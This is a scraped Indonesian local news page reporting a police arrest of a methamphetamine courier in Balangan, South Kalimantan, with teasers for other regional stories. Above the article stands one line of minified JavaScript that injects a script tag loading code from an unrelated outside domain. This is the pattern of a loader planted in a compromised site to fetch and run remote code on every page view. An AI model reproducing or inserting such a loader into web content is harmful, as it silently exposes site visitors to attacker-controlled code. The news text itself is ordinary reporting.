(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BALANGAN

Melintas di Jalan Desa Lamida Bawah, Kurir Sabu Ditangkap Resnarkoba Polres Balangan


KANALKALIMANTAN.COM, PARINGIN – Seorang kurir sabu berinisial YFP (35), warga Desa Bata RT 002 Kecamatan Juai, Kabupaten Balangan, diamankan jajaran Satres Narkoba Polres Balangan.

Penangkapan dilakukan di jalan Desa Lamida Bawah, Kecamatan Paringin, Kabupaten Balangan, Minggu, (25/10/2020) lalu.

Kapolres Balangan AKBP Nur Khamid melalui Kasat Reserse Narkoba Polres Balangan AKP Manaris Hutapea menerangkan, penangkapan terduga pelaku kurir sabu itu informasinya dari masyarakat bahwa ada seseorang yang membawa narkotika jenis sabu dari Kabupaten Hulu Sungai Utara (HSU) menuju Kabupaten Balangan.

“Berdasarkan informasi itulah kami melakukan penyelidikan. Dari informasi itu juga, pihaknya mendapatkan beberapa data tentang pelaku. Di antaranya perihal kendaraan roda dua yang digunakan pelaku,” ujar AKP Manaris Hutapea, Selasa (27/10/2020).

Tak berselang beberapa hari kemudian, terang Manaris, pelaku melintas di jalan Desa Lamida Bawah. Karena pelaku dianggap sesuai dengan ciri-ciri yang dilaporkan, YFP diberhentikan oleh pihak kepolisian. Setelah diberhentikan, dilakukan upaya penggeledahan badan terhadap pelaku.

Tatkala digeledah ditemukan lima paket serbuk kristal dibungkus dengan plastik klip warna bening yang diduga narkotika jenis sabu, sehingga YFP pun ditangkap.

Benda yang terbungkus plastik warna bening berada di saku celana kanan YFP. Ketika ditanya polisi, YFP mengatakan narkotika jenis sabu itu adalah miliknya. Atas tindakan itu, dia dan barang bukti dibawa ke Mapolres Balangan untuk proses lebih lanjut.

Ditegaskan Manaris, YFP telah dianggap melakukan kasus tindak pidana peredaran gelap narkotika jenis sabu, sebagaimana dimaksud dalam pasal 114 ayat (1) sub pasal 112 Ayat (1) Undang-Undang RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/pr)

 

Editor : Bie


Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

5 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

7 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

12 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

15 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

16 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.